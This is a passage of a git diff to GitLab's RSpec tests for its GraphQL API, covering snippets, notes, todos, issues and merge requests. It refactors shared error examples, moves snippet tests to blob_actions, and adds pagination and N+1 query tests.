- it_behaves_like 'a mutation that returns top-level errors', errors: ['invalid_id is not a valid GitLab id.']
+ it_behaves_like 'a mutation that returns top-level errors', errors: ['invalid_id is not a valid GitLab ID.']
end
end
diff --git a/spec/requests/api/graphql/mutations/metrics/dashboard/annotations/delete_spec.rb b/spec/requests/api/graphql/mutations/metrics/dashboard/annotations/delete_spec.rb
index 2459a6f3828..7357f3e1e35 100644
--- a/spec/requests/api/graphql/mutations/metrics/dashboard/annotations/delete_spec.rb
+++ b/spec/requests/api/graphql/mutations/metrics/dashboard/annotations/delete_spec.rb
@@ -45,7 +45,7 @@ RSpec.describe Mutations::Metrics::Dashboard::Annotations::Delete do
graphql_mutation(:delete_annotation, variables)
end
- it_behaves_like 'a mutation that returns top-level errors', errors: ['invalid_id is not a valid GitLab id.']
+ it_behaves_like 'a mutation that returns top-level errors', errors: ['invalid_id is not a valid GitLab ID.']
end
context 'when the delete fails' do
diff --git a/spec/requests/api/graphql/mutations/notes/create/diff_note_spec.rb b/spec/requests/api/graphql/mutations/notes/create/diff_note_spec.rb
index e847c46be1b..21da1332465 100644
--- a/spec/requests/api/graphql/mutations/notes/create/diff_note_spec.rb
+++ b/spec/requests/api/graphql/mutations/notes/create/diff_note_spec.rb
@@ -44,7 +44,7 @@ RSpec.describe 'Adding a DiffNote' do
it_behaves_like 'a Note mutation when there are active record validation errors', model: DiffNote
context do
- let(:diff_refs) { build(:merge_request).diff_refs } # Allow fake diff refs so arguments are valid
+ let(:diff_refs) { build(:commit).diff_refs } # Allow fake diff refs so arguments are valid
it_behaves_like 'a Note mutation when the given resource id is not for a Noteable'
end
diff --git a/spec/requests/api/graphql/mutations/notes/create/image_diff_note_spec.rb b/spec/requests/api/graphql/mutations/notes/create/image_diff_note_spec.rb
index 896a398e308..8bc68e6017c 100644
--- a/spec/requests/api/graphql/mutations/notes/create/image_diff_note_spec.rb
+++ b/spec/requests/api/graphql/mutations/notes/create/image_diff_note_spec.rb
@@ -47,7 +47,7 @@ RSpec.describe 'Adding an image DiffNote' do
it_behaves_like 'a Note mutation when there are active record validation errors', model: DiffNote
context do
- let(:diff_refs) { build(:merge_request).diff_refs } # Allow fake diff refs so arguments are valid
+ let(:diff_refs) { build(:commit).diff_refs } # Allow fake diff refs so arguments are valid
it_behaves_like 'a Note mutation when the given resource id is not for a Noteable'
end
diff --git a/spec/requests/api/graphql/mutations/notes/destroy_spec.rb b/spec/requests/api/graphql/mutations/notes/destroy_spec.rb
index 6002a5b5b9d..49f09fadfea 100644
--- a/spec/requests/api/graphql/mutations/notes/destroy_spec.rb
+++ b/spec/requests/api/graphql/mutations/notes/destroy_spec.rb
@@ -21,8 +21,7 @@ RSpec.describe 'Destroying a Note' do
context 'when the user does not have permission' do
let(:current_user) { create(:user) }
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ['The resource that you are attempting to access does not exist or you don\'t have permission to perform this action']
+ it_behaves_like 'a mutation that returns a top-level access error'
it 'does not destroy the Note' do
expect do
diff --git a/spec/requests/api/graphql/mutations/notes/update/image_diff_note_spec.rb b/spec/requests/api/graphql/mutations/notes/update/image_diff_note_spec.rb
index 463a872d95d..0c00906d6bf 100644
--- a/spec/requests/api/graphql/mutations/notes/update/image_diff_note_spec.rb
+++ b/spec/requests/api/graphql/mutations/notes/update/image_diff_note_spec.rb
@@ -59,8 +59,7 @@ RSpec.describe 'Updating an image DiffNote' do
context 'when the user does not have permission' do
let_it_be(:current_user) { create(:user) }
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ['The resource that you are attempting to access does not exist or you don\'t have permission to perform this action']
+ it_behaves_like 'a mutation that returns a top-level access error'
it 'does not update the DiffNote' do
post_graphql_mutation(mutation, current_user: current_user)
diff --git a/spec/requests/api/graphql/mutations/notes/update/note_spec.rb b/spec/requests/api/graphql/mutations/notes/update/note_spec.rb
index 0d93afe9434..5a92ffe61b8 100644
--- a/spec/requests/api/graphql/mutations/notes/update/note_spec.rb
+++ b/spec/requests/api/graphql/mutations/notes/update/note_spec.rb
@@ -22,8 +22,7 @@ RSpec.describe 'Updating a Note' do
context 'when the user does not have permission' do
let_it_be(:current_user) { create(:user) }
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ['The resource that you are attempting to access does not exist or you don\'t have permission to perform this action']
+ it_behaves_like 'a mutation that returns a top-level access error'
it 'does not update the Note' do
post_graphql_mutation(mutation, current_user: current_user)
diff --git a/spec/requests/api/graphql/mutations/snippets/create_spec.rb b/spec/requests/api/graphql/mutations/snippets/create_spec.rb
index 56a5f4907c1..1bb446de708 100644
--- a/spec/requests/api/graphql/mutations/snippets/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/snippets/create_spec.rb
@@ -7,22 +7,24 @@ RSpec.describe 'Creating a Snippet' do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
- let(:content) { 'Initial content' }
+
let(:description) { 'Initial description' }
let(:title) { 'Initial title' }
- let(:file_name) { 'Initial file_name' }
let(:visibility_level) { 'public' }
+ let(:action) { :create }
+ let(:file_1) { { filePath: 'example_file1', content: 'This is the example file 1' }}
+ let(:file_2) { { filePath: 'example_file2', content: 'This is the example file 2' }}
+ let(:actions) { [{ action: action }.merge(file_1), { action: action }.merge(file_2)] }
let(:project_path) { nil }
let(:uploaded_files) { nil }
let(:mutation_vars) do
{
- content: content,
description: description,
visibility_level: visibility_level,
- file_name: file_name,
title: title,
project_path: project_path,
- uploaded_files: uploaded_files
+ uploaded_files: uploaded_files,
+ blob_actions: actions
}
end
@@ -62,24 +64,47 @@ RSpec.describe 'Creating a Snippet' do
context 'when the user has permission' do
let(:current_user) { user }
- context 'with PersonalSnippet' do
- it 'creates the Snippet' do
+ shared_examples 'does not create snippet' do
+ it 'does not create the Snippet' do
expect do
subject
- end.to change { Snippet.count }.by(1)
+ end.not_to change { Snippet.count }
end
- it 'returns the created Snippet' do
+ it 'does not return Snippet' do
subject
- expect(mutation_response['snippet']['blob']['richData']).to be_nil
- expect(mutation_response['snippet']['blob']['plainData']).to match(content)
+ expect(mutation_response['snippet']).to be_nil
+ end
+ end
+
+ shared_examples 'creates snippet' do
+ it 'returns the created Snippet' do
+ expect do
+ subject
+ end.to change { Snippet.count }.by(1)
+
expect(mutation_response['snippet']['title']).to eq(title)
expect(mutation_response['snippet']['description']).to eq(description)
- expect(mutation_response['snippet']['fileName']).to eq(file_name)
expect(mutation_response['snippet']['visibilityLevel']).to eq(visibility_level)
- expect(mutation_response['snippet']['project']).to be_nil
+ expect(mutation_response['snippet']['blobs'][0]['plainData']).to match(file_1[:content])
+ expect(mutation_response['snippet']['blobs'][0]['fileName']).to match(file_1[:file_path])
+ expect(mutation_response['snippet']['blobs'][1]['plainData']).to match(file_2[:content])
+ expect(mutation_response['snippet']['blobs'][1]['fileName']).to match(file_2[:file_path])
end
+
+ context 'when action is invalid' do
+ let(:file_1) { { filePath: 'example_file1' }}
+
+ it_behaves_like 'a mutation that returns errors in the response', errors: ['Snippet actions have invalid data']
+ it_behaves_like 'does not create snippet'
+ end
+
+ it_behaves_like 'snippet edit usage data counters'
+ end
+
+ context 'with PersonalSnippet' do
+ it_behaves_like 'creates snippet'
end
context 'with ProjectSnippet' do
@@ -89,23 +114,7 @@ RSpec.describe 'Creating a Snippet' do
project.add_developer(current_user)
end
- it 'creates the Snippet' do
- expect do
- subject
- end.to change { Snippet.count }.by(1)
- end
-
- it 'returns the created Snippet' do
- subject
-
- expect(mutation_response['snippet']['blob']['richData']).to be_nil
- expect(mutation_response['snippet']['blob']['plainData']).to match(content)
- expect(mutation_response['snippet']['title']).to eq(title)
- expect(mutation_response['snippet']['description']).to eq(description)
- expect(mutation_response['snippet']['fileName']).to eq(file_name)
- expect(mutation_response['snippet']['visibilityLevel']).to eq(visibility_level)
- expect(mutation_response['snippet']['project']['fullPath']).to eq(project_path)
- end
+ it_behaves_like 'creates snippet'
context 'when the project path is invalid' do
let(:project_path) { 'foobar' }
@@ -122,61 +131,8 @@ RSpec.describe 'Creating a Snippet' do
it_behaves_like 'a mutation that returns top-level errors',
errors: [Gitlab::Graphql::Authorize::AuthorizeResource::RESOURCE_ACCESS_ERROR]
end
- end
-
- shared_examples 'does not create snippet' do
- it 'does not create the Snippet' do
- expect do
- subject
- end.not_to change { Snippet.count }
- end
-
- it 'does not return Snippet' do
- subject
-
- expect(mutation_response['snippet']).to be_nil
- end
- end
-
- context 'when snippet is created using the files param' do
- let(:action) { :create }
- let(:file_1) { { filePath: 'example_file1', content: 'This is the example file 1' }}
- let(:file_2) { { filePath: 'example_file2', content: 'This is the example file 2' }}
- let(:actions) { [{ action: action }.merge(file_1), { action: action }.merge(file_2)] }
- let(:mutation_vars) do
- {
- description: description,
- visibility_level: visibility_level,
- project_path: project_path,
- title: title,
- blob_actions: actions
- }
- end
-
- it 'creates the Snippet' do
- expect do
- subject
- end.to change { Snippet.count }.by(1)
- end
-
- it 'returns the created Snippet' do
- subject
- expect(mutation_response['snippet']['title']).to eq(title)
- expect(mutation_response['snippet']['description']).to eq(description)
- expect(mutation_response['snippet']['visibilityLevel']).to eq(visibility_level)
- expect(mutation_response['snippet']['blobs'][0]['plainData']).to match(file_1[:content])
- expect(mutation_response['snippet']['blobs'][0]['fileName']).to match(file_1[:file_path])
- expect(mutation_response['snippet']['blobs'][1]['plainData']).to match(file_2[:content])
- expect(mutation_response['snippet']['blobs'][1]['fileName']).to match(file_2[:file_path])
- end
-
- context 'when action is invalid' do
- let(:file_1) { { filePath: 'example_file1' }}
-
- it_behaves_like 'a mutation that returns errors in the response', errors: ['Snippet actions have invalid data']
- it_behaves_like 'does not create snippet'
- end
+ it_behaves_like 'snippet edit usage data counters'
end
context 'when there are ActiveRecord validation errors' do
@@ -187,7 +143,7 @@ RSpec.describe 'Creating a Snippet' do
end
context 'when there non ActiveRecord errors' do
- let(:file_name) { 'invalid://file/path' }
+ let(:file_1) { { filePath: 'invalid://file/path', content: 'foobar' }}
it_behaves_like 'a mutation that returns errors in the response', errors: ['Repository Error creating the snippet - Invalid file name']
it_behaves_like 'does not create snippet'
diff --git a/spec/requests/api/graphql/mutations/snippets/destroy_spec.rb b/spec/requests/api/graphql/mutations/snippets/destroy_spec.rb
index c861564c66b..b71f87d2702 100644
--- a/spec/requests/api/graphql/mutations/snippets/destroy_spec.rb
+++ b/spec/requests/api/graphql/mutations/snippets/destroy_spec.rb
@@ -56,7 +56,7 @@ RSpec.describe 'Destroying a Snippet' do
post_graphql_mutation(mutation, current_user: current_user)
expect(graphql_errors)
- .to include(a_hash_including('message' => "#{snippet_gid} is not a valid id for Snippet."))
+ .to include(a_hash_including('message' => "#{snippet_gid} is not a valid ID for Snippet."))
end
it 'does not destroy the Snippet' do
diff --git a/spec/requests/api/graphql/mutations/snippets/update_spec.rb b/spec/requests/api/graphql/mutations/snippets/update_spec.rb
index 3f39c0ab851..58ce74b9263 100644
--- a/spec/requests/api/graphql/mutations/snippets/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/snippets/update_spec.rb
@@ -12,18 +12,20 @@ RSpec.describe 'Updating a Snippet' do
let(:updated_content) { 'Updated content' }
let(:updated_description) { 'Updated description' }
let(:updated_title) { 'Updated_title' }
- let(:updated_file_name) { 'Updated file_name' }
let(:current_user) { snippet.author }
-
+ let(:updated_file) { 'CHANGELOG' }
+ let(:deleted_file) { 'README' }
let(:snippet_gid) { GitlabSchema.id_from_object(snippet).to_s }
let(:mutation_vars) do
{
id: snippet_gid,
- content: updated_content,
description: updated_description,
visibility_level: 'public',
- file_name: updated_file_name,
- title: updated_title
+ title: updated_title,
+ blob_actions: [
+ { action: :update, filePath: updated_file, content: updated_content },
+ { action: :delete, filePath: deleted_file }
+ ]
}
end
@@ -50,21 +52,32 @@ RSpec.describe 'Updating a Snippet' do
end
context 'when the user has permission' do
- it 'updates the Snippet' do
+ it 'updates the snippet record' do
post_graphql_mutation(mutation, current_user: current_user)
expect(snippet.reload.title).to eq(updated_title)
end
- it 'returns the updated Snippet' do
+ it 'updates the Snippet' do
+ blob_to_update = blob_at(updated_file)
+ blob_to_delete = blob_at(deleted_file)
+
+ expect(blob_to_update.data).not_to eq updated_content
+ expect(blob_to_delete).to be_present
+
post_graphql_mutation(mutation, current_user: current_user)
- expect(mutation_response['snippet']['blob']['richData']).to be_nil
- expect(mutation_response['snippet']['blob']['plainData']).to match(updated_content)
- expect(mutation_response['snippet']['title']).to eq(updated_title)
- expect(mutation_response['snippet']['description']).to eq(updated_description)
- expect(mutation_response['snippet']['fileName']).to eq(updated_file_name)
- expect(mutation_response['snippet']['visibilityLevel']).to eq('public')
+ blob_to_update = blob_at(updated_file)
+ blob_to_delete = blob_at(deleted_file)
+
+ aggregate_failures do
+ expect(blob_to_update.data).to eq updated_content
+ expect(blob_to_delete).to be_nil
+ expect(blob_in_mutation_response(updated_file)['plainData']).to match(updated_content)
+ expect(mutation_response['snippet']['title']).to eq(updated_title)
+ expect(mutation_response['snippet']['description']).to eq(updated_description)
+ expect(mutation_response['snippet']['visibilityLevel']).to eq('public')
+ end
end
context 'when there are ActiveRecord validation errors' do
@@ -79,16 +92,29 @@ RSpec.describe 'Updating a Snippet' do
end
it 'returns the Snippet with its original values' do
+ blob_to_update = blob_at(updated_file)
+ blob_to_delete = blob_at(deleted_file)
+
post_graphql_mutation(mutation, current_user: current_user)
- expect(mutation_response['snippet']['blob']['richData']).to be_nil
- expect(mutation_response['snippet']['blob']['plainData']).to match(original_content)
- expect(mutation_response['snippet']['title']).to eq(original_title)
- expect(mutation_response['snippet']['description']).to eq(original_description)
- expect(mutation_response['snippet']['fileName']).to eq(original_file_name)
- expect(mutation_response['snippet']['visibilityLevel']).to eq('private')
+ aggregate_failures do
+ expect(blob_at(updated_file).data).to eq blob_to_update.data
+ expect(blob_at(deleted_file).data).to eq blob_to_delete.data
+ expect(blob_in_mutation_response(deleted_file)['plainData']).not_to be_nil
+ expect(mutation_response['snippet']['title']).to eq(original_title)
+ expect(mutation_response['snippet']['description']).to eq(original_description)
+ expect(mutation_response['snippet']['visibilityLevel']).to eq('private')
+ end
end
end
+
+ def blob_in_mutation_response(filename)
+ mutation_response['snippet']['blobs'].select { |blob| blob['name'] == filename }[0]
+ end
+
+ def blob_at(filename)
+ snippet.repository.blob_at('HEAD', filename)
+ end
end
end
@@ -96,6 +122,7 @@ RSpec.describe 'Updating a Snippet' do
let(:snippet) do
create(:personal_snippet,
:private,
+ :repository,
file_name: original_file_name,
title: original_title,
content: original_content,
@@ -104,6 +131,7 @@ RSpec.describe 'Updating a Snippet' do
it_behaves_like 'graphql update actions'
it_behaves_like 'when the snippet is not found'
+ it_behaves_like 'snippet edit usage data counters'
end
describe 'ProjectSnippet' do
@@ -111,6 +139,7 @@ RSpec.describe 'Updating a Snippet' do
let(:snippet) do
create(:project_snippet,
:private,
+ :repository,
project: project,
author: create(:user),
file_name: original_file_name,
@@ -145,44 +174,10 @@ RSpec.describe 'Updating a Snippet' do
expect(errors.first['message']).to eq(Gitlab::Graphql::Authorize::AuthorizeResource::RESOURCE_ACCESS_ERROR)
end
end
- end
-
- it_behaves_like 'when the snippet is not found'
- end
-
- context 'when using the files params' do
- let!(:snippet) { create(:personal_snippet, :private, :repository) }
- let(:updated_content) { 'updated_content' }
- let(:updated_file) { 'CHANGELOG' }
- let(:deleted_file) { 'README' }
- let(:mutation_vars) do
- {
- id: snippet_gid,
- blob_actions: [
- { action: :update, filePath: updated_file, content: updated_content },
- { action: :delete, filePath: deleted_file }
- ]
- }
- end
- it 'updates the Snippet' do
- blob_to_update = blob_at(updated_file)
- expect(blob_to_update.data).not_to eq updated_content
-
- blob_to_delete = blob_at(deleted_file)
- expect(blob_to_delete).to be_present
-
- post_graphql_mutation(mutation, current_user: current_user)
-
- blob_to_update = blob_at(updated_file)
- expect(blob_to_update.data).to eq updated_content
-
- blob_to_delete = blob_at(deleted_file)
- expect(blob_to_delete).to be_nil
+ it_behaves_like 'snippet edit usage data counters'
end
- def blob_at(filename)
- snippet.repository.blob_at('HEAD', filename)
- end
+ it_behaves_like 'when the snippet is not found'
end
end
diff --git a/spec/requests/api/graphql/mutations/todos/mark_all_done_spec.rb b/spec/requests/api/graphql/mutations/todos/mark_all_done_spec.rb
index ed5552f3e30..705ef28ffd4 100644
--- a/spec/requests/api/graphql/mutations/todos/mark_all_done_spec.rb
+++ b/spec/requests/api/graphql/mutations/todos/mark_all_done_spec.rb
@@ -59,7 +59,6 @@ RSpec.describe 'Marking all todos done' do
context 'when user is not logged in' do
let(:current_user) { nil }
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ['The resource that you are attempting to access does not exist or you don\'t have permission to perform this action']
+ it_behaves_like 'a mutation that returns a top-level access error'
end
end
diff --git a/spec/requests/api/graphql/mutations/todos/mark_done_spec.rb b/spec/requests/api/graphql/mutations/todos/mark_done_spec.rb
index 9c4733f6769..8bf8b96aff5 100644
--- a/spec/requests/api/graphql/mutations/todos/mark_done_spec.rb
+++ b/spec/requests/api/graphql/mutations/todos/mark_done_spec.rb
@@ -63,14 +63,11 @@ RSpec.describe 'Marking todos done' do
context 'when todo does not belong to requesting user' do
let(:input) { { id: other_user_todo.to_global_id.to_s } }
- let(:access_error) { 'The resource that you are attempting to access does not exist or you don\'t have permission to perform this action' }
- it 'contains the expected error' do
- post_graphql_mutation(mutation, current_user: current_user)
+ it_behaves_like 'a mutation that returns a top-level access error'
- errors = json_response['errors']
- expect(errors).not_to be_blank
- expect(errors.first['message']).to eq(access_error)
+ it 'results in the correct todo states' do
+ post_graphql_mutation(mutation, current_user: current_user)
expect(todo1.reload.state).to eq('pending')
expect(todo2.reload.state).to eq('done')
@@ -80,7 +77,7 @@ RSpec.describe 'Marking todos done' do
context 'when using an invalid gid' do
let(:input) { { id: 'invalid_gid' } }
- let(:invalid_gid_error) { 'invalid_gid is not a valid GitLab id.' }
+ let(:invalid_gid_error) { 'invalid_gid is not a valid GitLab ID.' }
it 'contains the expected error' do
post_graphql_mutation(mutation, current_user: current_user)
diff --git a/spec/requests/api/graphql/mutations/todos/restore_spec.rb b/spec/requests/api/graphql/mutations/todos/restore_spec.rb
index 6dedde56e13..8451dcdf587 100644
--- a/spec/requests/api/graphql/mutations/todos/restore_spec.rb
+++ b/spec/requests/api/graphql/mutations/todos/restore_spec.rb
@@ -63,14 +63,11 @@ RSpec.describe 'Restoring Todos' do
context 'when todo does not belong to requesting user' do
let(:input) { { id: other_user_todo.to_global_id.to_s } }
- let(:access_error) { 'The resource that you are attempting to access does not exist or you don\'t have permission to perform this action' }
- it 'contains the expected error' do
- post_graphql_mutation(mutation, current_user: current_user)
+ it_behaves_like 'a mutation that returns a top-level access error'
- errors = json_response['errors']
- expect(errors).not_to be_blank
- expect(errors.first['message']).to eq(access_error)
+ it 'results in the correct todo states' do
+ post_graphql_mutation(mutation, current_user: current_user)
expect(todo1.reload.state).to eq('done')
expect(todo2.reload.state).to eq('pending')
@@ -80,7 +77,7 @@ RSpec.describe 'Restoring Todos' do
context 'when using an invalid gid' do
let(:input) { { id: 'invalid_gid' } }
- let(:invalid_gid_error) { 'invalid_gid is not a valid GitLab id.' }
+ let(:invalid_gid_error) { 'invalid_gid is not a valid GitLab ID.' }
it 'contains the expected error' do
post_graphql_mutation(mutation, current_user: current_user)
diff --git a/spec/requests/api/graphql/namespace/projects_spec.rb b/spec/requests/api/graphql/namespace/projects_spec.rb
index 0b634e6b689..03160719389 100644
--- a/spec/requests/api/graphql/namespace/projects_spec.rb
+++ b/spec/requests/api/graphql/namespace/projects_spec.rb
@@ -78,4 +78,43 @@ RSpec.describe 'getting projects' do
it_behaves_like 'a graphql namespace'
end
+
+ describe 'sorting and pagination' do
+ let(:data_path) { [:namespace, :projects] }
+
+ def pagination_query(params, page_info)
+ graphql_query_for(
+ 'namespace',
+ { 'fullPath' => subject.full_path },
+ <<~QUERY
+ projects(includeSubgroups: #{include_subgroups}, search: "#{search}", #{params}) {
+ #{page_info} edges {
+ node {
+ #{all_graphql_fields_for('Project')}
+ }
+ }
+ }
+ QUERY
+ )
+ end
+
+ def pagination_results_data(data)
+ data.map { |project| project.dig('node', 'name') }
+ end
+
+ context 'when sorting by similarity' do
+ let!(:project_1) { create(:project, name: 'Project', path: 'project', namespace: subject) }
+ let!(:project_2) { create(:project, name: 'Test Project', path: 'test-project', namespace: subject) }
+ let!(:project_3) { create(:project, name: 'Test', path: 'test', namespace: subject) }
+ let!(:project_4) { create(:project, name: 'Test Project Other', path: 'other-test-project', namespace: subject) }
+ let(:search) { 'test' }
+ let(:current_user) { user }
+
+ it_behaves_like 'sorted paginated query' do
+ let(:sort_param) { 'SIMILARITY' }
+ let(:first_param) { 2 }
+ let(:expected_results) { [project_3.name, project_2.name, project_4.name] }
+ end
+ end
+ end
end
diff --git a/spec/requests/api/graphql/project/issue/designs/notes_spec.rb b/spec/requests/api/graphql/project/issue/designs/notes_spec.rb
index ae5c8363d0f..65191e057c7 100644
--- a/spec/requests/api/graphql/project/issue/designs/notes_spec.rb
+++ b/spec/requests/api/graphql/project/issue/designs/notes_spec.rb
@@ -14,8 +14,6 @@ RSpec.describe 'Getting designs related to an issue' do
before do
enable_design_management
-
- note
end
it_behaves_like 'a working graphql query' do
diff --git a/spec/requests/api/graphql/project/issues_spec.rb b/spec/requests/api/graphql/project/issues_spec.rb
index 06e613a09bc..5d4276f47ca 100644
--- a/spec/requests/api/graphql/project/issues_spec.rb
+++ b/spec/requests/api/graphql/project/issues_spec.rb
@@ -5,12 +5,13 @@ require 'spec_helper'
RSpec.describe 'getting an issue list for a project' do
include GraphqlHelpers
- let(:project) { create(:project, :repository, :public) }
- let(:current_user) { create(:user) }
let(:issues_data) { graphql_data['project']['issues']['edges'] }
- let!(:issues) do
+
+ let_it_be(:project) { create(:project, :repository, :public) }
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:issues, reload: true) do
[create(:issue, project: project, discussion_locked: true),
- create(:issue, project: project)]
+ create(:issue, :with_alert, project: project)]
end
let(:fields) do
@@ -85,7 +86,7 @@ RSpec.describe 'getting an issue list for a project' do
end
context 'when there is a confidential issue' do
- let!(:confidential_issue) do
+ let_it_be(:confidential_issue) do
create(:issue, :confidential, project: project)
end
@@ -256,9 +257,140 @@ RSpec.describe 'getting an issue list for a project' do
end
end
- def grab_iids(data = issues_data)
- data.map do |issue|
- issue.dig('node', 'iid').to_i
+ context 'fetching alert management alert' do
+ let(:fields) do
+ <<~QUERY
+ edges {
+ node {
+ iid
+ alertManagementAlert {
+ title
+ }
+ }
+ }
+ QUERY
+ end
+
+ # Alerts need to have developer permission and above
+ before do
+ project.add_developer(current_user)
+ end
+
+ it 'avoids N+1 queries' do
+ control = ActiveRecord::QueryRecorder.new { post_graphql(query, current_user: current_user) }
+
+ create(:alert_management_alert, :with_issue, project: project )
+
+ expect { post_graphql(query, current_user: current_user) }.not_to exceed_query_limit(control)
+ end
+
+ it 'returns the alert data' do
+ post_graphql(query, current_user: current_user)
+
+ alert_titles = issues_data.map { |issue| issue.dig('node', 'alertManagementAlert', 'title') }
+ expected_titles = issues.map { |issue| issue.alert_management_alert&.title }
+
+ expect(alert_titles).to contain_exactly(*expected_titles)
+ end
+ end
+
+ context 'fetching labels' do
+ let(:fields) do
+ <<~QUERY
+ edges {
+ node {
+ id
+ labels {
+ nodes {
+ id
+ }
+ }
+ }
+ }
+ QUERY
+ end
+
+ before do
+ issues.each do |issue|
+ # create a label for each issue we have to properly test N+1
+ label = create(:label, project: project)
+ issue.update!(labels: [label])
+ end
+ end
+
+ def response_label_ids(response_data)
+ response_data.map do |edge|
+ edge['node']['labels']['nodes'].map { |u| u['id'] }
+ end.flatten
+ end
+
+ def labels_as_global_ids(issues)
+ issues.map(&:labels).flatten.map(&:to_global_id).map(&:to_s)
+ end
+
+ it 'avoids N+1 queries', :aggregate_failures do
+ control = ActiveRecord::QueryRecorder.new { post_graphql(query, current_user: current_user) }
+ expect(issues_data.count).to eq(2)
+ expect(response_label_ids(issues_data)).to match_array(labels_as_global_ids(issues))
+
+ new_issues = issues + [create(:issue, project: project, labels: [create(:label, project: project)])]
+
+ expect { post_graphql(query, current_user: current_user) }.not_to exceed_query_limit(control)
+ # graphql_data is memoized (see spec/support/helpers/graphql_helpers.rb)
+ # so we have to parse the body ourselves the second time
+ issues_data = Gitlab::Json.parse(response.body)['data']['project']['issues']['edges']
+ expect(issues_data.count).to eq(3)
+ expect(response_label_ids(issues_data)).to match_array(labels_as_global_ids(new_issues))
+ end
+ end
+
+ context 'fetching assignees' do
+ let(:fields) do
+ <<~QUERY
+ edges {
+ node {
+ id
+ assignees {
+ nodes {
+ id
+ }
+ }
+ }
+ }
+ QUERY
+ end
+
+ before do
+ issues.each do |issue|
+ # create an assignee for each issue we have to properly test N+1
+ assignee = create(:user)
+ issue.update!(assignees: [assignee])
+ end
+ end
+
+ def response_assignee_ids(response_data)
+ response_data.map do |edge|
+ edge['node']['assignees']['nodes'].map { |node| node['id'] }
+ end.flatten
+ end
+
+ def assignees_as_global_ids(issues)
+ issues.map(&:assignees).flatten.map(&:to_global_id).map(&:to_s)
+ end
+
+ it 'avoids N+1 queries', :aggregate_failures do
+ control = ActiveRecord::QueryRecorder.new { post_graphql(query, current_user: current_user) }
+ expect(issues_data.count).to eq(2)
+ expect(response_assignee_ids(issues_data)).to match_array(assignees_as_global_ids(issues))
+
+ new_issues = issues + [create(:issue, project: project, assignees: [create(:user)])]
+
+ expect { post_graphql(query, current_user: current_user) }.not_to exceed_query_limit(control)
+ # graphql_data is memoized (see spec/support/helpers/graphql_helpers.rb)
+ # so we have to parse the body ourselves the second time
+ issues_data = Gitlab::Json.parse(response.body)['data']['project']['issues']['edges']
+ expect(issues_data.count).to eq(3)
+ expect(response_assignee_ids(issues_data)).to match_array(assignees_as_global_ids(new_issues))
end
end
end
diff --git a/spec/requests/api/graphql/project/merge_request_spec.rb b/spec/requests/api/graphql/project/merge_request_spec.rb
index c39358a2db1..fae52fe814d 100644
--- a/spec/requests/api/graphql/project/merge_request_spec.rb
+++ b/spec/requests/api/graphql/project/merge_request_spec.rb
@@ -124,7 +124,8 @@ RSpec.describe 'getting merge request information nested in a project' do
'removeSourceBranch' => false,
'cherryPickOnCurrentMergeRequest' => false,
'revertOnCurrentMergeRequest' => false,
- 'updateMergeRequest' => false
+ 'updateMergeRequest' => false,
+ 'canMerge' => false
}
post_graphql(query, current_user: current_user)
diff --git a/spec/requests/api/graphql/project/merge_requests_spec.rb b/spec/requests/api/graphql/project/merge_requests_spec.rb
index bb63a5994b0..22b003501a1 100644
--- a/spec/requests/api/graphql/project/merge_requests_spec.rb
+++ b/spec/requests/api/graphql/project/merge_requests_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe 'getting merge request listings nested in a project' do
let_it_be(:project) { create(:project, :repository, :public) }
let_it_be(:current_user) { create(:user) }
- let_it_be(:label) { create(:label) }
+ let_it_be(:label) { create(:label, project: project) }
let_it_be(:merge_request_a) { create(:labeled_merge_request, :unique_branches, source_project: project, labels: [label]) }
let_it_be(:merge_request_b) { create(:merge_request, :closed, :unique_branches, source_project: project) }
let_it_be(:merge_request_c) { create(:labeled_merge_request, :closed, :unique_branches, source_project: project, labels: [label]) }
@@ -210,4 +210,48 @@ RSpec.describe 'getting merge request listings nested in a project' do
include_examples 'N+1 query check'
end
end
+ describe 'sorting and pagination' do
+ let(:data_path) { [:project, :mergeRequests] }
+
+ def pagination_query(params, page_info)
+ graphql_query_for(
+ :project,
+ { full_path: project.full_path },
+ <<~QUERY
+ mergeRequests(#{params}) {
+ #{page_info} edges {
+ node {
+ id
+ }
+ }
+ }
+ QUERY
+ )
+ end
+
+ def pagination_results_data(data)
+ data.map { |project| project.dig('node', 'id') }
+ end
+
+ context 'when sorting by merged_at DESC' do
+ it_behaves_like 'sorted paginated query' do
+ let(:sort_param) { 'MERGED_AT_DESC' }
+ let(:first_param) { 2 }
+
+ let(:expected_results) do
+ [
+ merge_request_b,
+ merge_request_c,
+ merge_request_d,
+ merge_request_a
+ ].map(&:to_gid).map(&:to_s)
+ end
+
+ before do
+ merge_request_c.metrics.update!(merged_at: 5.days.ago)
+ merge_request_b.metrics.update!(merged_at: 1.day.ago)
+ end
+ end
+ end
+ end
end
diff --git a/spec/requests/api/graphql/project/release_spec.rb b/spec/requests/api/graphql/project/release_spec.rb
index f9c19d9747d..8fce29d0dc6 100644
--- a/spec/requests/api/graphql/project/release_spec.rb
+++ b/spec/requests/api/graphql/project/release_spec.rb
@@ -10,6 +10,8 @@ RSpec.describe 'Query.project(fullPath).release(tagName)' do
let_it_be(:guest) { create(:user) }
let_it_be(:reporter) { create(:user) }
let_it_be(:stranger) { create(:user) }
+ let_it_be(:link_filepath) { '/direct/asset/link/path' }
+ let_it_be(:released_at) { Time.now - 1.day }
let(:params_for_issues_and_mrs) { { scope: 'all', state: 'opened', release_tag: release.tag } }
let(:post_query) { post_graphql(query, current_user: current_user) }
@@ -38,6 +40,7 @@ RSpec.describe 'Query.project(fullPath).release(tagName)' do
name
createdAt
releasedAt
+ upcomingRelease
})
end
@@ -53,7 +56,8 @@ RSpec.describe 'Query.project(fullPath).release(tagName)' do
'descriptionHtml' => release.description_html,
'name' => release.name,
'createdAt' => release.created_at.iso8601,
- 'releasedAt' => release.released_at.iso8601
+ 'releasedAt' => release.released_at.iso8601,
+ 'upcomingRelease' => false
})
end
end
@@ -127,7 +131,7 @@ RSpec.describe 'Query.project(fullPath).release(tagName)' do
let(:release_fields) do
query_graphql_field(:assets, nil,
- query_graphql_field(:links, nil, 'nodes { id name url external }'))
+ query_graphql_field(:links, nil, 'nodes { id name url external, directAssetUrl }'))
end
it 'finds all release links' do
